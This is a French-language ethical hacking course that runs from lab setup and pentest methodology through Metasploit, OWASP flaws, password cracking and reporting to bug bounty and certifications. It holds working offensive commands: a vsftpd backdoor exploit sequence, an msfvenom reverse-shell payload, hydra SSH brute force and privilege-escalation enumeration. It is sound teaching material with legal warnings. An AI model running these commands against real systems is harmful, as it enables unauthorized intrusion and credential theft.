FORMATION HACKING ÉTHIQUE

De A à Z — Guide complet du pentester débutant à avancé

Méthodologie • Outils • Pratique • Certifications • Bug Bounty

Document pédagogique. Toutes les techniques décrites doivent être pratiquées UNIQUEMENT sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite.

■■ CADRE LÉGAL & ÉTHIQUE — À LIRE EN PREMIER

La seule différence entre un hacker éthique et un criminel, c'est l'AUTORISATION. Les mêmes outils, les mêmes commandes. Sans autorisation écrite, tu commets un délit.

En France : l'accès ou le maintien frauduleux dans un système (art. 323-1 à 323-7 du Code pénal) est puni jusqu'à **3 à 7 ans de prison et 100 000 à 300 000 €** d'amende. Au Canada, aux USA (CFAA), en Belgique, en Suisse : des lois équivalentes existent partout.

Les 3 règles non négociables

- **Autorisation écrite** avant toute action (scope, dates, cibles signées).
- **Respect du périmètre (scope)** : tu ne touches QUE ce qui est autorisé.
- **Confidentialité & reporting** : tu signales les failles, tu ne les exploites pas pour en profiter.

Où pratiquer légalement (100% autorisé)

- **TryHackMe** et **Hack The Box** — labs guidés en ligne.
- **VulnHub** — machines vulnérables à télécharger en local.
- **PortSwigger Web Security Academy** — gratuit, le meilleur pour le web.
- **Ton propre labo** (VirtualBox/VMware + Kali + Metasploitable).
- **Programmes de Bug Bounty** (HackerOne, YesWeHack, Bugcrowd) — scope défini.

■ SOMMAIRE — LE PARCOURS A → Z

Module A — Fondations : réseau, systèmes, Linux

Module B — Monter son laboratoire (Kali, VMs, cibles)

Module C — Méthodologie d'un pentest (les 5 phases)

Module D — Reconnaissance (OSINT & footprinting)

Module E — Scanning & énumération

Module F — Analyse de vulnérabilités

Module G — Exploitation — concepts & Metasploit

Module H — Sécurité Web (OWASP Top 10)

Module I — Mots de passe & authentification

Module J — Réseau : sniffing, MITM, Wi-Fi

Module K — Post-exploitation & élévation de privilèges

Module L — Reporting professionnel

Module M — Bug Bounty : gagner sa vie légalement

Module N — Certifications & plan de carrière

Annexe — Cheat-sheets, commandes, ressources

Comment utiliser ce guide (sans perdre de temps) : chaque module = théorie minimale + commandes concrètes + un mini-exercice. Fais les exercices. On n'apprend le hacking qu'en tapant des commandes, pas en lisant. Objectif réaliste : **6 à 9 mois** pour être opérationnel en pentest junior à raison de 1-2h/jour.

A — FONDATIONS : sans ça, rien ne marche

Le hacking, c'est exploiter ce que les autres ne comprennent pas. Donc tu dois comprendre MIEUX que la moyenne : réseau, systèmes et un peu de code.

A.1 — Réseau (l'essentiel)

Concept	À retenir
Modèle TCP/IP	4 couches : Accès réseau, Internet (IP), Transport (TCP/UDP), Application
Adresse IP	Identifie une machine. Publique (Internet) vs privée (192.168.x, 10.x)
Port	Une « porte » par service. 80=HTTP, 443=HTTPS, 22=SSH, 3389=RDP, 53=DNS
TCP vs UDP	TCP = fiable (handshake 3 voies). UDP = rapide, sans garantie
DNS	Traduit nom ↔ IP. Cible fréquente de reconnaissance

A.2 — Systèmes d'exploitation

- **Linux** : 90% des serveurs. Ton OS de travail. Apprends le terminal.
- **Windows** : 90% des postes en entreprise. Active Directory = cible n°1 des pentests internes.

Commandes Linux à maîtriser absolument

```
pwd ls cd cat less grep find        # naviguer & chercher
chmod chown sudo su                 # droits & permissions
ps top kill systemctl               # processus & services
ip a / ifconfig  ss -tulnp  netstat # réseau
apt install   |  curl / wget        # paquets & téléchargement
```

A.3 — Un peu de code (indispensable)

- **Bash** : automatiser tes tâches sur Linux.
- **Python** : LE langage du hacker (scripts, exploits, automatisation).
- **Notions HTTP + HTML/JS** : obligatoire pour le web.

Exercice A : Installe Linux (ou Kali dans une VM), ouvre un terminal et navigue uniquement en ligne de commande pendant 1h. Crée des dossiers, lis des fichiers, cherche un mot avec grep. Pas de souris.

B — MONTER SON LABORATOIRE

Ton terrain d'entraînement privé. 100% légal car tout t'appartient.

B.1 — Matériel conseillé

- PC avec 16 Go de RAM minimum (8 Go ça passe, serré), 100+ Go libres.
- **VirtualBox** (gratuit) ou VMware pour héberger les machines virtuelles.

B.2 — Les machines à installer

VM	Rôle
Kali Linux	Ta machine d'attaque. Contient 600+ outils préinstallés.
Metasploitable 2/3	Cible volontairement vulnérable pour s'entraîner.
Machines VulnHub	Défis variés, du facile au très dur.
Windows (éval.)	Pour pratiquer Active Directory (optionnel au début).

B.3 — Configuration réseau des VMs

Mets tes VMs en mode **Host-Only** ou **NAT Network** pour qu'elles se parlent entre elles SANS être exposées à Internet. C'est capital : une cible vulnérable ne doit jamais être accessible depuis le web.

Exercice B : Installe VirtualBox + Kali + Metasploitable 2 sur un réseau Host-Only. Depuis Kali, fais un `ping` vers Metasploitable. Si ça répond, ton labo est prêt.

C — MÉTHODOLOGIE : les 5 phases d'un pentest

Un vrai hacker éthique ne tape pas au hasard. Il suit une méthode. Retiens ces 5 phases — c'est le squelette de TOUT test d'intrusion (et de toute certification).

#	Phase	Objectif
1	Reconnaissance	Récolter un max d'infos sur la cible (sans la toucher si possible)
2	Scanning / Énumération	Trouver machines, ports, services, versions, utilisateurs
3	Exploitation	Obtenir un accès via une vulnérabilité
4	Post-exploitation	Élever ses privilèges, pivoter, évaluer l'impact
5	Reporting	Documenter failles + solutions. LA phase qui a de la valeur.

Standards professionnels à connaître

- **PTES** (Penetration Testing Execution Standard).
- **OWASP Testing Guide** (spécial web).
- **MITRE ATT&CK;** : la carte de toutes les techniques d'attaque réelles.
- **Cyber Kill Chain** (Lockheed Martin) : les étapes d'une attaque.

Règle d'or : **80% du travail = reconnaissance + énumération**. Les débutants veulent « exploiter » tout de suite et échouent. Les pros énumèrent patiemment, et l'exploitation devient évidente.

D — RECONNAISSANCE (OSINT & Footprinting)

Collecter des informations publiques sur la cible. Deux types : **passive** (sans contact direct, indétectable) et **active** (on interagit).

D.1 — Reconnaissance passive (OSINT)

- **Google Dorking** : recherches avancées (`site:`, `filetype:`, `inurl:`).
- **whois** : propriétaire d'un domaine, contacts, dates.
- **Shodan** : moteur de recherche des objets connectés exposés.
- **theHarvester** : emails, sous-domaines, noms liés à une organisation.
- **Réseaux sociaux / LinkedIn** : noms d'employés = cibles de phishing (dans un cadre autorisé).

```
whois exemple.com
theHarvester -d exemple.com -b google
# Google dork :  site:exemple.com filetype:pdf
```

D.2 — Reconnaissance active (légère)

- **DNS** : `dig`, `nslookup`, `dnsrecon` pour cartographier les sous-domaines.
- **sublist3r / amass** : énumération de sous-domaines.

```
dig exemple.com ANY
dnsrecon -d exemple.com
```

Exercice D : Choisis TON propre site ou un domaine de test, et fais un whois + une recherche theHarvester. Note tout ce que tu trouves. Tu seras surpris de ce qui est public.

E — SCANNING & ÉNUMÉRATION

La phase reine. On identifie précisément les machines vivantes, les ports ouverts, les services et leurs versions. L'outil roi : **Nmap**.

E.1 — Nmap, les commandes qui comptent

```
nmap -sn 192.168.1.0/24           # qui est vivant sur le réseau ?
nmap -sV 192.168.1.10             # versions des services
nmap -sC -sV -oN scan.txt 10.0.0.5 # scripts par défaut + versions
nmap -p- 10.0.0.5                 # TOUS les ports (1-65535)
nmap -A 10.0.0.5                  # agressif : OS, versions, scripts
```

Option	Signification
-sS	Scan SYN (furtif, par défaut en root)
-sV	Détecte la version des services
-sC	Lance les scripts NSE par défaut
-p-	Scanne les 65535 ports
-A	Mode agressif (OS + version + scripts + traceroute)
-oN / -oA	Sauvegarde les résultats dans un fichier

E.2 — Énumération par service

- **Web (80/443)** : `whatweb`, `nikto`, `gobuster` (dossiers cachés).
- **SMB (445)** : `enum4linux`, `smbclient` (partages Windows).
- **FTP (21)** : tester le login anonyme.
- **SSH (22)** : récupérer la bannière/version.

```
gobuster dir -u http://10.0.0.5 -w /usr/share/wordlists/dirb/common.txt
enum4linux -a 10.0.0.5
```

Exercice E : Scanne ta Metasploitable avec `nmap -sV -p-`. Liste tous les services et leurs versions. Pour chaque version, cherche sur Internet « [service] [version] vulnerability ». Tu viens de faire de l'analyse de vulnérabilités.

F — ANALYSE DE VULNÉRABILITÉS

Relier un service/version à des failles connues. C'est le pont entre l'énumération et l'exploitation.

F.1 — Les sources de vérité

- **CVE** (Common Vulnerabilities and Exposures) : identifiant unique par faille (ex : CVE-2021-44228, Log4Shell).
- **CVSS** : score de gravité de 0 à 10 (≥ 9 = critique).
- **NVD** et **Exploit-DB** : bases de données de failles et d'exploits.
- **searchsploit** : Exploit-DB en local sur Kali.

```
searchsploit apache 2.4.49
searchsploit -m 50383        # copie l'exploit dans le dossier courant
```

F.2 — Scanners automatiques

Outil	Usage
Nessus / OpenVAS	Scanners de vulnérabilités réseau complets
Nikto	Scanner de serveurs web
nmap --script vuln	Scripts NSE orientés vulnérabilités
WPScan	Spécialisé WordPress

■■ Un scanner automatique génère beaucoup de **faux positifs**. Un bon pentester vérifie TOUJOURS manuellement avant de conclure qu'une faille est exploitable.

G — EXPLOITATION : concepts & Metasploit

On entre dans le concret. Rappel : uniquement sur TES machines ou avec autorisation écrite. Les commandes ci-dessous visent ta propre Metasploitable dans ton labo.

G.1 — Qu'est-ce qu'un exploit ?

Un bout de code qui profite d'une faille pour faire exécuter au système quelque chose de non prévu : ouvrir un accès (shell), lire un fichier, etc. Le **payload** est ce qui s'exécute après : souvent un **reverse shell** (la cible se reconnecte à toi) ou un **bind shell**.

G.2 — Metasploit Framework

Le couteau suisse de l'exploitation. Structure à comprendre :

Terme	Définition
module / exploit	Le code qui cible une faille précise
payload	Ce qui s'exécute sur la cible (ex : meterpreter)
LHOST / LPORT	Ton IP et ton port d'écoute (pour le reverse shell)
RHOSTS	L'adresse de la cible
meterpreter	Shell avancé de Metasploit (très puissant)

```
msfconsole                          # lance Metasploit
search vsftpd                       # chercher un exploit
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.0.0.5
show options
exploit                             # lance l'attaque
```

G.3 — Générer un payload avec msfvenom

```
msfvenom -p linux/x86/meterpreter/reverse_tcp \
  LHOST=10.0.0.4 LPORT=4444 -f elf -o shell.elf
```

Exercice G : Sur ta Metasploitable, exploite le backdoor vsftpd 2.3.4 avec Metasploit jusqu'à obtenir un shell. Tape `whoami` et `id`. Félicitations, premier accès obtenu légalement.

H — SÉCURITÉ WEB (OWASP Top 10)

80% des bugs rémunérés en bug bounty sont web. Si tu dois te spécialiser, commence ICI. L'**OWASP Top 10** liste les failles web les plus critiques.

Faille	En une phrase
Broken Access Control	Accéder à des données/actions non autorisées (IDOR, etc.)
Cryptographic Failures	Données sensibles mal/pas chiffrées
Injection (SQLi, etc.)	Injecter du code dans une requête (base de données...)
Insecure Design	Défaut de conception sécurité dès le départ
Security Misconfiguration	Config par défaut, pages d'admin exposées
Vulnerable Components	Librairies/versions obsolètes et vulnérables
Auth Failures	Mots de passe faibles, sessions mal gérées
Data Integrity Failures	Mises à jour/désérialisation non vérifiées
Logging Failures	Pas de logs = attaques invisibles
SSRF	Forcer le serveur à requêter une ressource interne

H.1 — Les 3 failles web à maîtriser en premier

1. Injection SQL (SQLi)

Quand une entrée utilisateur est insérée sans filtrage dans une requête SQL. Permet de lire/modifier la base. Outil : **sqlmap** (à tester uniquement sur des labs autorisés).

2. XSS (Cross-Site Scripting)

Injecter du JavaScript qui s'exécute dans le navigateur d'autres utilisateurs. Vole des sessions, redirige, défigure.

3. IDOR (Broken Access Control)

Changer un identifiant dans l'URL (`/facture?id=123` → `124`) pour accéder aux données d'autrui. Simple et très courant.

H.2 — L'outil central : Burp Suite

- **Proxy** : intercepte et modifie les requêtes entre ton navigateur et le site.
- **Repeater** : rejouer/modifier une requête à la main.
- **Intruder** : automatiser des tests (fuzzing).

Exercice H : Fais le parcours gratuit **PortSwigger Web Security Academy** : labs « SQL injection » et « XSS » niveau apprenti. C'est la meilleure ressource web qui existe, et elle est 100% légale et gratuite.

I — MOTS DE PASSE & AUTHENTIFICATION

Comprendre comment les mots de passe sont stockés et « cassés » pour mieux les protéger.

I.1 — Hachage

Un mot de passe n'est (normalement) jamais stocké en clair : on stocke son **hash** (empreinte à sens unique : MD5, SHA-256, bcrypt...). Casser = retrouver le mot de passe à partir du hash.

I.2 — Deux approches

- **Attaque par dictionnaire** : tester une liste de mots de passe probables (rockyou.txt).
- **Brute force** : tester toutes les combinaisons (lent).
- **Online** : tester directement sur le service (hydra). **Offline** : casser un hash récupéré (hashcat, john).

```
# cassage hors-ligne d'un hash
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
hashcat -m 0 hashes.txt rockyou.txt      # -m 0 = MD5
```

I.3 — Défense (le but final)

- Mots de passe longs + gestionnaire de mots de passe.
- Hachage lent et salé (bcrypt, argon2) côté serveur.
- **Authentification multi-facteurs (MFA)** : la meilleure protection.
- Limitation des tentatives (rate limiting, lockout).

J — RÉSEAU : sniffing, MITM, Wi-Fi

J.1 — Sniffing (écoute du trafic)

Capturer les paquets qui circulent. Outil roi : **Wireshark** (analyse graphique) et **tcpdump** (ligne de commande). Sur un réseau non chiffré, on peut voir des identifiants en clair — d'où l'importance du HTTPS.

```
tcpdump -i eth0 -w capture.pcap
# puis analyse dans Wireshark
```

J.2 — Man-In-The-Middle (MITM)

Se placer entre deux machines pour intercepter/modifier leurs échanges (ex : ARP spoofing). À tester uniquement dans ton labo. Comprendre l'attaque = savoir s'en défendre (chiffrement, détection ARP).

J.3 — Sécurité Wi-Fi

- **WEP** : obsolète, cassable en minutes. **WPA2/WPA3** : standard actuel.
- Suite **aircrack-ng** pour auditer TON PROPRE réseau Wi-Fi.
- Défense : WPA3, mot de passe fort, réseau invité séparé.

> Tester un Wi-Fi qui n'est pas le tien, sans autorisation, est un délit — même « juste pour voir ». Audite uniquement ta box.

K — POST-EXPLOITATION & ÉLÉVATION DE PRIVILÈGES

Tu as un accès. Et maintenant ? On évalue l'impact réel : jusqu'où un attaquant pourrait aller.

K.1 — Élévation de privilèges (privesc)

Passer d'un utilisateur limité à **root** (Linux) ou **Administrator/SYSTEM** (Windows). C'est souvent l'étape la plus technique et la plus valorisée.

- **Linux** : binaires SUID, sudo mal configuré, tâches cron, noyau obsolète. Outil : `linpeas.sh`.
- **Windows** : services mal configurés, tokens, droits. Outil : `winPEAS`.

```
# sur la cible, après avoir uploadé linpeas
./linpeas.sh | tee linpeas_out.txt
sudo -l            # que puis-je lancer en sudo ?
find / -perm -4000 2>/dev/null   # binaires SUID
```

K.2 — Les autres étapes (pour info)

- **Persistance** : garder l'accès (dans un pentest, documenté et retiré après).
- **Pivoting** : rebondir vers d'autres machines du réseau interne.
- **Exfiltration** : prouver qu'on peut sortir des données (sans jamais les voler réellement).
- **Nettoyage** : en pentest, on documente et on aide à restaurer l'état initial.

> Éthique : en mission, on **ne détruit rien**, on ne consulte pas de données personnelles au-delà du nécessaire pour prouver la faille, et on signale immédiatement toute faille critique.

L — REPORTING : la phase qui paye

Un client ne paie pas pour « j'ai piraté votre serveur ». Il paie pour un **rapport clair** qui lui dit quoi corriger et comment. Un pentester médiocre qui écrit bien vaut mieux qu'un génie illisible.

Structure d'un rapport professionnel

Section	Contenu
Résumé exécutif	Pour les dirigeants : risque global, en langage non technique
Périmètre & méthodo	Ce qui a été testé, comment, quand
Vulnérabilités	Chaque faille : description, gravité (CVSS), preuve, impact
Preuves (PoC)	Captures d'écran, étapes de reproduction
Recommandations	Correctif précis et priorisé pour CHAQUE faille
Annexes	Détails techniques, outils, logs

Classer les failles par gravité

- **Critique / Élevée** : à corriger immédiatement (accès total, données exposées).
- **Moyenne** : à corriger rapidement.
- **Faible / Info** : bonnes pratiques, durcissement.

Exercice L : Reprends l'exploit du Module G et rédige une page de rapport : titre de la faille, gravité, 3 étapes de reproduction, 1 capture, 1 recommandation. C'est exactement ce qu'on te demandera en entretien.

M — BUG BOUNTY : gagner sa vie légalement

Des entreprises paient pour que tu trouves leurs failles, dans un cadre 100% légal défini par elles. C'est la meilleure façon de pratiquer en conditions réelles et d'être payé.

M.1 — Les plateformes

- **HackerOne**, **Bugcrowd** : les plus grosses (international).
- **YesWeHack** : plateforme européenne/française.
- **Intigriti** : européenne, très active.

M.2 — Comment démarrer sans se décourager

- Lis TOUJOURS le **scope** et les règles du programme avant de tester. Hors scope = illégal.
- Commence par les programmes « débutants » et les failles fréquentes (IDOR, XSS, mauvaises configs).
- Spécialise-toi **web** au début : meilleur ratio effort/récompense.
- Un bon rapport = plus de chances d'être payé. Le reporting (Module L) est capital ici aussi.
- La patience paye : tes premières semaines seront sans résultat. Normal.

Règle absolue du bug bounty : **si ce n'est pas écrit dans le scope, tu n'y touches pas.** Un test hors périmètre, même « pour aider », peut te valoir un bannissement et des poursuites.

N — CERTIFICATIONS & PLAN DE CARRIÈRE

N.1 — Les certifications qui comptent

Certif	Niveau / Pour qui
CompTIA Security+	Débutant. Bases de la cybersécurité. Bon premier pas.
eJPT (INE)	Débutant pentest, pratique, accessible et abordable.
CEH (EC-Council)	Reconnu RH, plutôt théorique. Utile pour le CV.
PNPT (TCM Security)	Pratique, réaliste, excellent rapport qualité/prix.
OSCP (OffSec)	LA référence pratique. Dure mais ouvre les portes.
Burp Suite Certified	Spécialisation web, reconnue.

N.2 — Un parcours réaliste (budget serré)

- **Mois 1-2** : Modules A-E + labs TryHackMe gratuits. Bases réseau/Linux solides.
- **Mois 3-4** : Web (OWASP) à fond sur PortSwigger. C'est gratuit et énorme.
- **Mois 5-6** : Hack The Box, machines VulnHub, viser l'eJPT ou le PNPT.
- **Mois 7-9** : Premiers bug bounties + préparer l'OSCP si visée pro.

N.3 — Les métiers

- **Pentester** / testeur d'intrusion.
- **Analyste SOC** / Blue Team (défense).
- **Chasseur de bugs** (bug bounty, indépendant).
- **Consultant cybersécurité**, **Red Teamer** (niveau avancé).

Vérité utile : tu n'as pas besoin de toutes les certifs pour commencer. Un bon GitHub, quelques write-ups de machines résolues, et un profil TryHackMe/HTB actif valent déjà beaucoup aux yeux d'un recruteur junior.

ANNEXE — Cheat-sheets & ressources

Commandes les plus utilisées (à imprimer)

```
# RECO
whois cible.com
theHarvester -d cible.com -b google
dnsrecon -d cible.com

# SCAN
nmap -sV -sC -p- -oN scan.txt IP
gobuster dir -u http://IP -w wordlist.txt
enum4linux -a IP

# VULN
searchsploit
nmap --script vuln IP

# EXPLOIT
msfconsole
msfvenom -p  LHOST=IP LPORT=4444 -f  -o out

# PRIVESC
sudo -l ; find / -perm -4000 2>/dev/null ; ./linpeas.sh

# MOTS DE PASSE
hydra -l user -P rockyou.txt ssh://IP
john --wordlist=rockyou.txt hashes.txt
```

Ressources gratuites de qualité

- **TryHackMe** — parcours guidés, idéal débutant.
- **Hack The Box** + **HTB Academy** — pratique intensive.
- **PortSwigger Web Security Academy** — web, gratuit, incontournable.
- **OverTheWire (Bandit)** — apprendre Linux/ligne de commande en jouant.
- **OWASP.org** — documentation de référence.
- **VulnHub** — machines vulnérables à télécharger.
- **MITRE ATT&CK;** — base de connaissances des techniques réelles.
- **YouTube** : John Hammond, NetworkChuck, IppSec (write-ups HTB).

Les 10 règles d'or du hacker éthique

- 1. Pas d'autorisation écrite = pas d'action. Jamais d'exception.
- 2. Reste strictement dans le périmètre autorisé.
- 3. Ne détruis, ne modifie, ne vole aucune donnée.
- 4. Signale immédiatement toute faille critique découverte.
- 5. Respecte la confidentialité totale des infos client.
- 6. Documente tout ce que tu fais (traçabilité).
- 7. N'utilise jamais tes compétences pour un gain personnel illégal.
- 8. Forme-toi en continu : la sécurité évolue chaque jour.
- 9. Dans le doute sur la légalité d'une action : abstiens-toi.
- 10. Ton but n'est pas de casser, c'est de protéger.

Fin de la formation. Le hacking éthique s'apprend en PRATIQUANT, légalement, tous les jours. Monte ton labo, fais les exercices, résous des machines, écris des rapports. Dans 6 mois tu ne reconnaîtras pas ton niveau. Bonne route.